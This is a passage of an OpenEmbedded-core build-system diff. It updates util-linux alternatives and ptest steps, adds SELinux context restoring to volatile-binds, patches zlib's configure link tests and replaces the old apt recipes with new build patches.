+ALTERNATIVE_LINK_NAME[logger] = "${bindir}/logger"
+ALTERNATIVE_LINK_NAME[losetup] = "${base_sbindir}/losetup"
+ALTERNATIVE_LINK_NAME[mesg] = "${bindir}/mesg"
+ALTERNATIVE_LINK_NAME[mkswap] = "${base_sbindir}/mkswap"
+ALTERNATIVE_LINK_NAME[mcookie] = "${bindir}/mcookie"
+ALTERNATIVE_LINK_NAME[more] = "${base_bindir}/more"
+ALTERNATIVE_LINK_NAME[mount] = "${base_bindir}/mount"
+ALTERNATIVE_LINK_NAME[mountpoint] = "${base_bindir}/mountpoint"
+ALTERNATIVE_LINK_NAME[nologin] = "${base_sbindir}/nologin"
+ALTERNATIVE_LINK_NAME[nsenter] = "${bindir}/nsenter"
+ALTERNATIVE_LINK_NAME[pivot_root] = "${base_sbindir}/pivot_root"
+ALTERNATIVE_LINK_NAME[prlimit] = "${bindir}/prlimit"
+ALTERNATIVE_LINK_NAME[readprofile] = "${sbindir}/readprofile"
+ALTERNATIVE_LINK_NAME[renice] = "${bindir}/renice"
+ALTERNATIVE_LINK_NAME[rev] = "${bindir}/rev"
+ALTERNATIVE_LINK_NAME[rfkill] = "${sbindir}/rfkill"
+ALTERNATIVE_LINK_NAME[rtcwake] = "${sbindir}/rtcwake"
+ALTERNATIVE_LINK_NAME[setpriv] = "${bindir}/setpriv"
+ALTERNATIVE_LINK_NAME[setsid] = "${bindir}/setsid"
+ALTERNATIVE_LINK_NAME[su] = "${base_bindir}/su"
+ALTERNATIVE_LINK_NAME[sulogin] = "${base_sbindir}/sulogin"
+ALTERNATIVE_LINK_NAME[swapoff] = "${base_sbindir}/swapoff"
+ALTERNATIVE_LINK_NAME[swapon] = "${base_sbindir}/swapon"
+ALTERNATIVE_LINK_NAME[switch_root] = "${base_sbindir}/switch_root"
+ALTERNATIVE_LINK_NAME[taskset] = "${bindir}/taskset"
+ALTERNATIVE_LINK_NAME[umount] = "${base_bindir}/umount"
+ALTERNATIVE_LINK_NAME[unshare] = "${bindir}/unshare"
+ALTERNATIVE_LINK_NAME[utmpdump] = "${bindir}/utmpdump"
+ALTERNATIVE_LINK_NAME[uuidgen] = "${bindir}/uuidgen"
+ALTERNATIVE_LINK_NAME[wall] = "${bindir}/wall"
+
+ALTERNATIVE:${PN}-doc = "\
+blkid.8 eject.1 findfs.8 fsck.8 kill.1 last.1 lastb.1 libblkid.3 logger.1 mesg.1 \
+mountpoint.1 nologin.8 rfkill.8 sulogin.8 utmpdump.1 uuid.3 wall.1\
+"
+ALTERNATIVE:${PN}-doc += "${@bb.utils.contains('PACKAGECONFIG', 'pam', 'su.1', '', d)}"
+
+ALTERNATIVE_LINK_NAME[blkid.8] = "${mandir}/man8/blkid.8"
+ALTERNATIVE_LINK_NAME[eject.1] = "${mandir}/man1/eject.1"
+ALTERNATIVE_LINK_NAME[findfs.8] = "${mandir}/man8/findfs.8"
+ALTERNATIVE_LINK_NAME[fsck.8] = "${mandir}/man8/fsck.8"
+ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1"
+ALTERNATIVE_LINK_NAME[last.1] = "${mandir}/man1/last.1"
+ALTERNATIVE_LINK_NAME[lastb.1] = "${mandir}/man1/lastb.1"
+ALTERNATIVE_LINK_NAME[libblkid.3] = "${mandir}/man3/libblkid.3"
+ALTERNATIVE_LINK_NAME[logger.1] = "${mandir}/man1/logger.1"
+ALTERNATIVE_LINK_NAME[mesg.1] = "${mandir}/man1/mesg.1"
+ALTERNATIVE_LINK_NAME[mountpoint.1] = "${mandir}/man1/mountpoint.1"
+ALTERNATIVE_LINK_NAME[nologin.8] = "${mandir}/man8/nologin.8"
+ALTERNATIVE_LINK_NAME[rfkill.8] = "${mandir}/man8/rfkill.8"
+ALTERNATIVE_LINK_NAME[setpriv.1] = "${mandir}/man1/setpriv.1"
+ALTERNATIVE_LINK_NAME[su.1] = "${mandir}/man1/su.1"
+ALTERNATIVE_LINK_NAME[sulogin.8] = "${mandir}/man8/sulogin.8"
+ALTERNATIVE_LINK_NAME[utmpdump.1] = "${mandir}/man1/utmpdump.1"
+ALTERNATIVE_LINK_NAME[uuid.3] = "${mandir}/man3/uuid.3"
+ALTERNATIVE_LINK_NAME[wall.1] = "${mandir}/man1/wall.1"
+
+BBCLASSEXTEND = "native nativesdk"
+
+PTEST_BINDIR = "1"
+do_compile_ptest() {
+ oe_runmake buildtest-TESTS
+}
+
+do_install_ptest() {
+ mkdir -p ${D}${PTEST_PATH}/tests/ts
+ find . -name 'test*' -maxdepth 1 -type f -perm -111 -exec cp {} ${D}${PTEST_PATH} \;
+ find ./.libs -name 'sample*' -maxdepth 1 -type f -perm -111 -exec cp {} ${D}${PTEST_PATH} \;
+ find ./.libs -name 'test*' -maxdepth 1 -type f -perm -111 -exec cp {} ${D}${PTEST_PATH} \;
+
+ cp ${S}/tests/*.sh ${D}${PTEST_PATH}/tests/
+ cp -pR ${S}/tests/expected ${D}${PTEST_PATH}/tests/expected
+ cp -pR ${S}/tests/ts ${D}${PTEST_PATH}/tests/
+ cp ${WORKDIR}/build/config.h ${D}${PTEST_PATH}
+
+ sed -i 's|@base_sbindir@|${base_sbindir}|g' ${D}${PTEST_PATH}/run-ptest
+
+ # chfn needs PAM
+ if ! ${@bb.utils.contains('PACKAGECONFIG', 'pam', 'true', 'false', d)}; then
+ rm -rf ${D}${PTEST_PATH}/tests/ts/chfn
+ fi
+}
diff --git a/meta/recipes-core/volatile-binds/files/mount-copybind b/meta/recipes-core/volatile-binds/files/mount-copybind
index e32e675308..aad022c6e4 100755
--- a/meta/recipes-core/volatile-binds/files/mount-copybind
+++ b/meta/recipes-core/volatile-binds/files/mount-copybind
@@ -31,6 +31,13 @@ if [ -d "$mountpoint" ]; then
else
specdir_existed=no
mkdir "$spec"
+ # If the $spec directory is created we need to take care that
+ # the selinux context is correct
+ if command -v selinuxenabled > /dev/null 2>&1; then
+ if selinuxenabled; then
+ restorecon "$spec"
+ fi
+ fi
fi
# Fast version of calculating `dirname ${spec}`/.`basename ${spec}`-work
@@ -39,13 +46,24 @@ if [ -d "$mountpoint" ]; then
# Try to mount using overlay, which is must faster than copying files.
# If that fails, fall back to slower copy.
- if ! mount -t overlay overlay -olowerdir="$mountpoint",upperdir="$spec",workdir="$overlay_workdir" "$mountpoint" > /dev/null 2>&1; then
+ if command -v selinuxenabled > /dev/null 2>&1; then
+ if selinuxenabled; then
+ mountcontext=",rootcontext=$(matchpathcon -n $mountpoint)"
+ fi
+ fi
+ if ! mount -t overlay overlay -olowerdir="$mountpoint",upperdir="$spec",workdir="$overlay_workdir""$mountcontext" "$mountpoint" > /dev/null 2>&1; then
if [ "$specdir_existed" != "yes" ]; then
cp -aPR "$mountpoint"/. "$spec/"
fi
mount -o "bind$options" "$spec" "$mountpoint"
+ # restore the selinux context.
+ if command -v selinuxenabled > /dev/null 2>&1; then
+ if selinuxenabled; then
+ restorecon -R "$mountpoint"
+ fi
+ fi
fi
elif [ -f "$mountpoint" ]; then
if [ ! -f "$spec" ]; then
@@ -53,4 +71,10 @@ elif [ -f "$mountpoint" ]; then
fi
mount -o "bind$options" "$spec" "$mountpoint"
+ # restore the selinux context.
+ if command -v selinuxenabled > /dev/null 2>&1; then
+ if selinuxenabled; then
+ restorecon -R "$mountpoint"
+ fi
+ fi
fi
diff --git a/meta/recipes-core/volatile-binds/files/volatile-binds.service.in b/meta/recipes-core/volatile-binds/files/volatile-binds.service.in
index b23355a714..e2ad39f258 100644
--- a/meta/recipes-core/volatile-binds/files/volatile-binds.service.in
+++ b/meta/recipes-core/volatile-binds/files/volatile-binds.service.in
@@ -10,7 +10,6 @@ ConditionPathIsReadWrite=!@where@
[Service]
Type=oneshot
RemainAfterExit=Yes
-StandardOutput=syslog
TimeoutSec=0
ExecStart=/sbin/mount-copybind @what@ @where@
ExecStop=/bin/umount @where@
diff --git a/meta/recipes-core/volatile-binds/volatile-binds.bb b/meta/recipes-core/volatile-binds/volatile-binds.bb
index d861a71a6b..d5c5538cd7 100644
--- a/meta/recipes-core/volatile-binds/volatile-binds.bb
+++ b/meta/recipes-core/volatile-binds/volatile-binds.bb
@@ -11,7 +11,7 @@ SRC_URI = "\
S = "${WORKDIR}"
-inherit allarch systemd distro_features_check
+inherit allarch systemd features_check
REQUIRED_DISTRO_FEATURES = "systemd"
@@ -33,9 +33,9 @@ def volatile_systemd_services(d):
services.append("%s.service" % what[1:].replace("/", "-"))
return " ".join(services)
-SYSTEMD_SERVICE_${PN} = "${@volatile_systemd_services(d)}"
+SYSTEMD_SERVICE:${PN} = "${@volatile_systemd_services(d)}"
-FILES_${PN} += "${systemd_unitdir}/system/*.service"
+FILES:${PN} += "${systemd_system_unitdir}/*.service ${servicedir}"
do_compile () {
while read spec mountpoint; do
@@ -64,11 +64,12 @@ do_compile[dirs] = "${WORKDIR}"
do_install () {
install -d ${D}${base_sbindir}
+ install -d ${D}${servicedir}
install -m 0755 mount-copybind ${D}${base_sbindir}/
- install -d ${D}${systemd_unitdir}/system
- for service in ${SYSTEMD_SERVICE_${PN}}; do
- install -m 0644 $service ${D}${systemd_unitdir}/system/
+ install -d ${D}${systemd_system_unitdir}
+ for service in ${SYSTEMD_SERVICE:${PN}}; do
+ install -m 0644 $service ${D}${systemd_system_unitdir}/
done
# Suppress attempts to process some tmpfiles that are not temporary.
diff --git a/meta/recipes-core/zlib/zlib/0001-configure-Pass-LDFLAGS-to-link-tests.patch b/meta/recipes-core/zlib/zlib/0001-configure-Pass-LDFLAGS-to-link-tests.patch
new file mode 100644
index 0000000000..91a1b4a09a
--- /dev/null
+++ b/meta/recipes-core/zlib/zlib/0001-configure-Pass-LDFLAGS-to-link-tests.patch
@@ -0,0 +1,79 @@
+From 001971eef84485562f912d8edd4fc7688acfad91 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 8 Mar 2022 22:38:47 -0800
+Subject: [PATCH] configure: Pass LDFLAGS to link tests
+
+LDFLAGS can contain critical flags without which linking wont succeed
+therefore ensure that all configure tests involving link time checks are
+using LDFLAGS on compiler commandline along with CFLAGS to ensure the
+tests perform correctly. Without this some tests may fail resulting in
+wrong confgure result, ending in miscompiling the package
+
+Upstream-Status: Submitted [https://github.com/madler/zlib/pull/599]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ configure | 12 ++++++------
+ 1 file changed, 6 insertions(+), 6 deletions(-)
+
+diff --git a/configure b/configure
+index e974d1f..69dfa3f 100755
+--- a/configure
++++ b/configure
+@@ -410,7 +410,7 @@ if test $shared -eq 1; then
+ echo Checking for shared library support... | tee -a configure.log
+ # we must test in two steps (cc then ld), required at least on SunOS 4.x
+ if try $CC -w -c $SFLAGS $test.c &&
+- try $LDSHARED $SFLAGS -o $test$shared_ext $test.o; then
++ try $LDSHARED $SFLAGS $LDFLAGS -o $test$shared_ext $test.o; then
+ echo Building shared library $SHAREDLIBV with $CC. | tee -a configure.log
+ elif test -z "$old_cc" -a -z "$old_cflags"; then
+ echo No shared library support. | tee -a configure.log
+@@ -492,7 +492,7 @@ int main(void) {
+ }
+ EOF
+ fi
+- if try $CC $CFLAGS -o $test $test.c; then
++ if try $CC $CFLAGS $LDFLAGS -o $test $test.c; then
+ sizet=`./$test`
+ echo "Checking for a pointer-size integer type..." $sizet"." | tee -a configure.log
+ else
+@@ -530,7 +530,7 @@ int main(void) {
+ return 0;
+ }
+ EOF
+- if try $CC $CFLAGS -o $test $test.c; then
++ if try $CC $CFLAGS $LDFLAGS -o $test $test.c; then
+ echo "Checking for fseeko... Yes." | tee -a configure.log
+ else
+ CFLAGS="${CFLAGS} -DNO_FSEEKO"
+@@ -547,7 +547,7 @@ cat > $test.c <<EOF
+ #include <errno.h>
+ int main() { return strlen(strerror(errno)); }
+ EOF
+-if try $CC $CFLAGS -o $test $test.c; then
++if try $CC $CFLAGS $LDFLAGS -o $test $test.c; then
+ echo "Checking for strerror... Yes." | tee -a configure.log
+ else
+ CFLAGS="${CFLAGS} -DNO_STRERROR"
+@@ -654,7 +654,7 @@ int main()
+ return (mytest("Hello%d\n", 1));
+ }
+ EOF
+- if try $CC $CFLAGS -o $test $test.c; then
++ if try $CC $CFLAGS $LDFLAGS -o $test $test.c; then
+ echo "Checking for vsnprintf() in stdio.h... Yes." | tee -a configure.log
+
+ echo >> configure.log
+@@ -744,7 +744,7 @@ int main()
+ }
+ EOF
+
+- if try $CC $CFLAGS -o $test $test.c; then
++ if try $CC $CFLAGS $LDFLAGS -o $test $test.c; then
+ echo "Checking for snprintf() in stdio.h... Yes." | tee -a configure.log
+
+ echo >> configure.log
+--
+2.35.1
+
diff --git a/meta/recipes-core/zlib/zlib_1.2.11.bb b/meta/recipes-core/zlib/zlib_1.2.11.bb
index ef9431ae47..d699719554 100644
--- a/meta/recipes-core/zlib/zlib_1.2.11.bb
+++ b/meta/recipes-core/zlib/zlib_1.2.11.bb
@@ -8,6 +8,7 @@ LIC_FILES_CHKSUM = "file://zlib.h;beginline=6;endline=23;md5=5377232268e952e9ef6
SRC_URI = "${SOURCEFORGE_MIRROR}/libpng/${BPN}/${PV}/${BPN}-${PV}.tar.xz \
file://ldflags-tests.patch \
+ file://0001-configure-Pass-LDFLAGS-to-link-tests.patch \
file://run-ptest \
"
UPSTREAM_CHECK_URI = "http://zlib.net/"
@@ -17,7 +18,7 @@ SRC_URI[sha256sum] = "4ff941449631ace0d4d203e3483be9dbc9da454084111f97ea0a2114e1
CFLAGS += "-D_REENTRANT"
-RDEPENDS_${PN}-ptest += "make"
+RDEPENDS:${PN}-ptest += "make"
inherit ptest
@@ -39,7 +40,7 @@ do_install_ptest() {
# Move zlib shared libraries for target builds to $base_libdir so the library
# can be used in early boot before $prefix is mounted.
-do_install_append_class-target() {
+do_install:append:class-target() {
if [ ${base_libdir} != ${libdir} ]
then
mkdir -p ${D}/${base_libdir}
diff --git a/meta/recipes-devtools/apt/apt-native.inc b/meta/recipes-devtools/apt/apt-native.inc
deleted file mode 100644
index d826786329..0000000000
--- a/meta/recipes-devtools/apt/apt-native.inc
+++ /dev/null
@@ -1,74 +0,0 @@
-require apt.inc
-inherit native
-
-DEPENDS += "dpkg-native gettext-native db-native curl-native xz-native"
-PACKAGES = ""
-USE_NLS = "yes"
-
-SRC_URI += "file://db_linking_hack.patch \
- file://0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch \
-"
-
-python do_install () {
- bb.build.exec_func('do_install_base', d)
- bb.build.exec_func('do_install_config', d)
-}
-
-python do_install_config () {
- indir = os.path.dirname(d.getVar('FILE'))
- infile = open(oe.path.join(indir, 'files', 'apt.conf'), 'r')
- data = infile.read()
- infile.close()
-
- data = d.expand(data)
-
- outdir = oe.path.join(d.getVar('D'), d.getVar('sysconfdir'), 'apt')
- if not os.path.exists(outdir):
- os.makedirs(outdir)
-
- outpath = oe.path.join(outdir, 'apt.conf.sample')
- if not os.path.exists(outpath):
- outfile = open(outpath, 'w')
- outfile.write(data)
- outfile.close()
-}
-
-do_install_base () {
- install -d ${D}${bindir}
- install -m 0755 bin/apt-cdrom ${D}${bindir}/
- install -m 0755 bin/apt-get ${D}${bindir}/
- install -m 0755 bin/apt-config ${D}${bindir}/
- install -m 0755 bin/apt-cache ${D}${bindir}/
- install -m 0755 bin/apt-sortpkgs ${D}${bindir}/
- install -m 0755 bin/apt-extracttemplates ${D}${bindir}/
- install -m 0755 bin/apt-ftparchive ${D}${bindir}/
-
- oe_libinstall -so -C bin libapt-private ${D}${libdir}/
-
- oe_libinstall -so -C bin libapt-pkg$GLIBC_VER$LIBSTDCPP_VER ${D}${libdir}/
- oe_libinstall -so -C bin libapt-inst$GLIBC_VER$LIBSTDCPP_VER ${D}${libdir}/
-
- install -d ${D}${libdir}/apt/methods
- install -m 0755 bin/methods/* ${D}${libdir}/apt/methods/
-
- install -d ${D}${libdir}/dpkg/methods/apt
- install -m 0644 ${S}/dselect/desc.apt ${D}${libdir}/dpkg/methods/apt/
- install -m 0644 ${S}/dselect/names ${D}${libdir}/dpkg/methods/apt/
- install -m 0755 ${S}/dselect/install ${D}${libdir}/dpkg/methods/apt/
- install -m 0755 ${S}/dselect/setup ${D}${libdir}/dpkg/methods/apt/
- install -m 0755 ${S}/dselect/update ${D}${libdir}/dpkg/methods/apt/
-
- install -d ${D}${sysconfdir}/apt
- install -d ${D}${sysconfdir}/apt/apt.conf.d
- install -d ${D}${sysconfdir}/apt/preferences.d
- install -d ${D}${localstatedir}/lib/apt/lists/partial
- install -d ${D}${localstatedir}/cache/apt/archives/partial
-
- install -d ${D}${localstatedir}/log/apt/
-
- install -d ${D}${includedir}/apt-pkg
- for h in `find ${S}/apt-pkg ${S}/apt-inst -name '*.h'`
- do
- install -m 0644 $h ${D}${includedir}/apt-pkg
- done
-}
diff --git a/meta/recipes-devtools/apt/apt-native_1.2.31.bb b/meta/recipes-devtools/apt/apt-native_1.2.31.bb
deleted file mode 100644
index 5b16b503d5..0000000000
--- a/meta/recipes-devtools/apt/apt-native_1.2.31.bb
+++ /dev/null
@@ -1,7 +0,0 @@
-require apt-native.inc
-
-SRC_URI += "file://noconfigure.patch \
- file://no-curl.patch \
- file://gcc_4.x_apt-pkg-contrib-strutl.cc-Include-array-header.patch \
- file://gcc_4.x_Revert-avoid-changing-the-global-LC_TIME-for-Release.patch \
- file://gcc_4.x_Revert-use-de-localed-std-put_time-instead-rolling-o.patch"
diff --git a/meta/recipes-devtools/apt/apt-package.inc b/meta/recipes-devtools/apt/apt-package.inc
deleted file mode 100644
index 922f739d0d..0000000000
--- a/meta/recipes-devtools/apt/apt-package.inc
+++ /dev/null
@@ -1,94 +0,0 @@
-apt-manpages="doc/apt-cache.8 \
- doc/apt-cdrom.8 \
- doc/apt-config.8 \
- doc/apt-get.8 \
- doc/apt.8 \
- doc/apt.conf.5 \
- doc/apt_preferences.5 \
- doc/sources.list.5"
-apt-utils-manpages="doc/apt-extracttemplates.1 \
- doc/apt-sortpkgs.1"
-
-def get_files_apt_doc(d, bb, manpages):
- import re
- manpages = re.sub(r'\bdoc/(\S+)/(\S+)\.\1\.(.)\b', r'${mandir}/\1/man\3/\2.\3', manpages)
- manpages = re.sub(r'\bdoc/(\S+)\.(.)\b', r'${mandir}/man\2/\1.\2', manpages)
- return manpages
-
-def get_commands_apt_doc(d, bb, manpages):
- s = list()
- __dir_cache__ = list()
- for m in manpages.split():
- dest = get_files_apt_doc(d, bb, m)
- dir = os.path.dirname(dest)
- if not dir in __dir_cache__:
- s.append("install -d ${D}/%s" % dir)
- __dir_cache__.append(dir)
- s.append("install -m 0644 %s ${D}/%s" % (m, dest))
- return "\n".join(s)
-
-PACKAGES += "${PN}-utils ${PN}-utils-doc"
-FILES_${PN} = "${bindir}/apt-cdrom ${bindir}/apt-get \
- ${bindir}/apt-config ${bindir}/apt-cache \
- ${libdir}/apt ${libdir}/libapt*.so.* \
- ${localstatedir} ${sysconfdir} \
- ${libdir}/dpkg \
- ${systemd_unitdir}/system \
- "
-RDEPENDS_${PN} += "perl"
-FILES_${PN}-utils = "${bindir}/apt-sortpkgs ${bindir}/apt-extracttemplates"
-FILES_${PN}-doc = "${@get_files_apt_doc(d, bb, d.getVar('apt-manpages'))} \
- ${docdir}/apt"
-FILES_${PN}-utils-doc = "${@get_files_apt_doc(d, bb, d.getVar('apt-utils-manpages'))}"
-FILES_${PN}-dev = "${libdir}/libapt*.so ${includedir}"
-
-inherit systemd
-
-SYSTEMD_SERVICE_${PN} = "apt-daily.timer"
-
-do_install () {
- set -x
- install -d ${D}${bindir}
- install -m 0755 bin/apt-key ${D}${bindir}/
- install -m 0755 bin/apt-cdrom ${D}${bindir}/
- install -m 0755 bin/apt-get ${D}${bindir}/
- install -m 0755 bin/apt-config ${D}${bindir}/
- install -m 0755 bin/apt-cache ${D}${bindir}/
-
- install -m 0755 bin/apt-sortpkgs ${D}${bindir}/
- install -m 0755 bin/apt-extracttemplates ${D}${bindir}/
-
- oe_libinstall -so -C bin libapt-pkg ${D}${libdir}
- oe_libinstall -so -C bin libapt-inst ${D}${libdir}
-
- install -d ${D}${libdir}/apt/methods
- install -m 0755 bin/methods/* ${D}${libdir}/apt/methods/
-
- install -d ${D}${libdir}/dpkg/methods/apt
- install -m 0644 ${S}/dselect/desc.apt ${D}${libdir}/dpkg/methods/apt/
- install -m 0644 ${S}/dselect/names ${D}${libdir}/dpkg/methods/apt/
- install -m 0755 ${S}/dselect/install ${D}${libdir}/dpkg/methods/apt/
- install -m 0755 ${S}/dselect/setup ${D}${libdir}/dpkg/methods/apt/
- install -m 0755 ${S}/dselect/update ${D}${libdir}/dpkg/methods/apt/
-
- install -d ${D}${sysconfdir}/apt
- install -d ${D}${sysconfdir}/apt/apt.conf.d
- install -d ${D}${sysconfdir}/apt/sources.list.d
- install -d ${D}${sysconfdir}/apt/preferences.d
- install -d ${D}${localstatedir}/lib/apt/lists/partial
- install -d ${D}${localstatedir}/cache/apt/archives/partial
- install -d ${D}${docdir}/apt/examples
- install -m 0644 ${S}/doc/examples/* ${D}${docdir}/apt/examples/
-
- install -d ${D}${includedir}/apt-pkg/
- install -m 0644 include/apt-pkg/*.h ${D}${includedir}/apt-pkg/
-
- install -d ${D}${systemd_unitdir}/system/
- install -m 0755 ${S}/debian/apt.systemd.daily ${D}${libdir}/apt/
- install -m 0644 ${S}/debian/apt-daily.service ${D}${systemd_unitdir}/system/
- sed -i 's#/usr/lib/apt/#${libdir}/apt/#g' ${D}${systemd_unitdir}/system/apt-daily.service
- install -m 0644 ${S}/debian/apt-daily.timer ${D}${systemd_unitdir}/system/
- install -d ${D}${sysconfdir}/cron.daily/
- install -m 0755 ${S}/debian/apt.apt-compat.cron.daily ${D}${sysconfdir}/cron.daily/
- sed -i 's#/usr/lib/apt/#${libdir}/apt/#g' ${D}${sysconfdir}/cron.daily/apt.apt-compat.cron.daily
-}
diff --git a/meta/recipes-devtools/apt/apt.inc b/meta/recipes-devtools/apt/apt.inc
deleted file mode 100644
index 50c4d8484a..0000000000
--- a/meta/recipes-devtools/apt/apt.inc
+++ /dev/null
@@ -1,39 +0,0 @@
-SUMMARY = "Advanced front-end for dpkg"
-DESCRIPTION = "Provides command-line tools for searching and managing as well \
-as querying information about packages as a low-level access to all features \
-of the libapt-pkg library."
-LICENSE = "GPLv2.0+"
-SECTION = "base"
-
-SRC_URI = "https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/${BPN}/${PV}/${BPN}_${PV}.tar.xz \
- file://use-host.patch \
- file://makerace.patch \
- file://no-nls-dpkg.patch \
- file://fix-gcc-4.6-null-not-defined.patch \
- file://truncate-filename.patch \
- file://nodoc.patch \
- file://disable-configure-in-makefile.patch \
- file://disable-test.patch \
- file://0001-environment.mak-musl-based-systems-can-generate-shar.patch \
- file://0001-apt-1.2.12-Fix-musl-build.patch \
- file://0001-Include-array.h-for-std-array.patch \
- "
-SRC_URI[md5sum] = "d30eed9304e82ea8238c854b5c5a34d9"
-SRC_URI[sha256sum] = "03ded4f5e9b8d43ecec083704b2dcabf20c182ed382db9ac7251da0b0b038059"
-LIC_FILES_CHKSUM = "file://COPYING.GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-# the package is taken from snapshots.debian.org; that source is static and goes stale
-# so we check the latest upstream from a directory that does get updated
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/a/apt/"
-
-inherit autotools gettext useradd
-
-EXTRA_AUTORECONF = "--exclude=autopoint,autoheader"
-
-do_configure_prepend() {
- rm -rf ${S}/buildlib/config.sub
- rm -rf ${S}/buildlib/config.guess
-}
-
-USERADD_PACKAGES = "${PN}"
-USERADD_PARAM_${PN} = "--system --no-create-home --home-dir /nonexistent --shell /bin/false --user-group _apt"
diff --git a/meta/recipes-devtools/apt/apt/0001-CMakeLists.txt-avoid-changing-install-paths-based-on.patch b/meta/recipes-devtools/apt/apt/0001-CMakeLists.txt-avoid-changing-install-paths-based-on.patch
new file mode 100644
index 0000000000..199f11bf20
--- /dev/null
+++ b/meta/recipes-devtools/apt/apt/0001-CMakeLists.txt-avoid-changing-install-paths-based-on.patch
@@ -0,0 +1,29 @@
+From 9023589317843df4e57f8ebef1d9a8398ddb929d Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Thu, 28 May 2020 15:34:05 +0000
+Subject: [PATCH] CMakeLists.txt: avoid changing install paths based on host
+ distro
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ CMakeLists.txt | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index 2cd4f8e..4759812 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -21,9 +21,9 @@ set(CMAKE_EXE_LINKER_FLAGS_COVERAGE "-lgcov")
+ set(CMAKE_SHARED_LINKER_FLAGS_COVERAGE "-lgcov")
+
+ # Work around bug in GNUInstallDirs
+-if (EXISTS "/etc/debian_version")
+- set(CMAKE_INSTALL_LIBEXECDIR "lib")
+-endif()
++#if (EXISTS "/etc/debian_version")
++set(CMAKE_INSTALL_LIBEXECDIR "lib")
++#endif()
+
+ # Include stuff
+ include(Misc)
diff --git a/meta/recipes-devtools/apt/apt/0001-Disable-documentation-directory-altogether.patch b/meta/recipes-devtools/apt/apt/0001-Disable-documentation-directory-altogether.patch
new file mode 100644
index 0000000000..8b28ede8a8
--- /dev/null
+++ b/meta/recipes-devtools/apt/apt/0001-Disable-documentation-directory-altogether.patch
@@ -0,0 +1,27 @@
+From f629d1c3fcfb560ed24efc3e73d4e4999b1eab33 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Fri, 10 May 2019 14:16:47 +0200
+Subject: [PATCH] Disable documentation directory altogether
+
+Even when WITH_DOC=False, the build requires po4a to generate manpages.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
+---
+ CMakeLists.txt | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index 9745c13..7cfc9ee 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -239,7 +239,7 @@ add_subdirectory(apt-pkg)
+ add_subdirectory(apt-private)
+ add_subdirectory(cmdline)
+ add_subdirectory(completions)
+-add_subdirectory(doc)
++#add_subdirectory(doc)
+ add_subdirectory(dselect)
+ add_subdirectory(ftparchive)
+ add_subdirectory(methods)
diff --git a/meta/recipes-devtools/apt/apt/0001-Do-not-init-tables-from-dpkg-configuration.patch b/meta/recipes-devtools/apt/apt/0001-Do-not-init-tables-from-dpkg-configuration.patch
new file mode 100644
index 0000000000..59b9cd190f
--- /dev/null
+++ b/meta/recipes-devtools/apt/apt/0001-Do-not-init-tables-from-dpkg-configuration.patch
@@ -0,0 +1,29 @@
+From 11ba49594ae9d11f0070198c146b5e437fa83022 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Fri, 10 May 2019 16:47:38 +0200
+Subject: [PATCH] Do not init tables from dpkg configuration
+
+This would require sysroot relocation logic, and it's easier to just disable them.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
+---
+ apt-pkg/init.cc | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/apt-pkg/init.cc b/apt-pkg/init.cc
+index b9d9b15..1725c59 100644
+--- a/apt-pkg/init.cc
++++ b/apt-pkg/init.cc
+@@ -281,8 +281,8 @@ bool pkgInitSystem(Configuration &Cnf,pkgSystem *&Sys)
+ return _error->Error(_("Unable to determine a suitable packaging system type"));
+ }
+
+- if (pkgInitArchTupleMap() == false)
+- return false;
++// if (pkgInitArchTupleMap() == false)
++// return false;
+
+ return Sys->Initialize(Cnf);
+ }
diff --git a/meta/recipes-devtools/apt/apt/0001-Fix-musl-build.patch b/meta/recipes-devtools/apt/apt/0001-Fix-musl-build.patch
new file mode 100644
index 0000000000..0cefbedd6d
--- /dev/null
+++ b/meta/recipes-devtools/apt/apt/0001-Fix-musl-build.patch
@@ -0,0 +1,28 @@
+From 6b8547161b902b01b639d05a4cdf849d7694556f Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Fri, 22 May 2020 15:29:23 +0000
+Subject: [PATCH] apt-pkg/contrib/srvrec.h: Explicitly include sys/types.h
+
+This avoids type errors with musl C library.
+
+Upstream-Status: Submitted [https://salsa.debian.org/apt-team/apt/-/merge_requests/200]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ apt-pkg/contrib/srvrec.h | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/apt-pkg/contrib/srvrec.h b/apt-pkg/contrib/srvrec.h
+index e5d0f43..2010184 100644
+--- a/apt-pkg/contrib/srvrec.h
++++ b/apt-pkg/contrib/srvrec.h
+@@ -9,6 +9,7 @@
+ #ifndef SRVREC_H
+ #define SRVREC_H
+
++#include <sys/types.h>
+ #include <string>
+ #include <vector>
+ #include <arpa/nameser.h>
+--
+2.20.1
+
diff --git a/meta/recipes-devtools/apt/apt/0001-Hide-fstatat64-and-prlimit64-defines-on-musl.patch b/meta/recipes-devtools/apt/apt/0001-Hide-fstatat64-and-prlimit64-defines-on-musl.patch
new file mode 100644
index 0000000000..f1816836b5
--- /dev/null
+++ b/meta/recipes-devtools/apt/apt/0001-Hide-fstatat64-and-prlimit64-defines-on-musl.patch
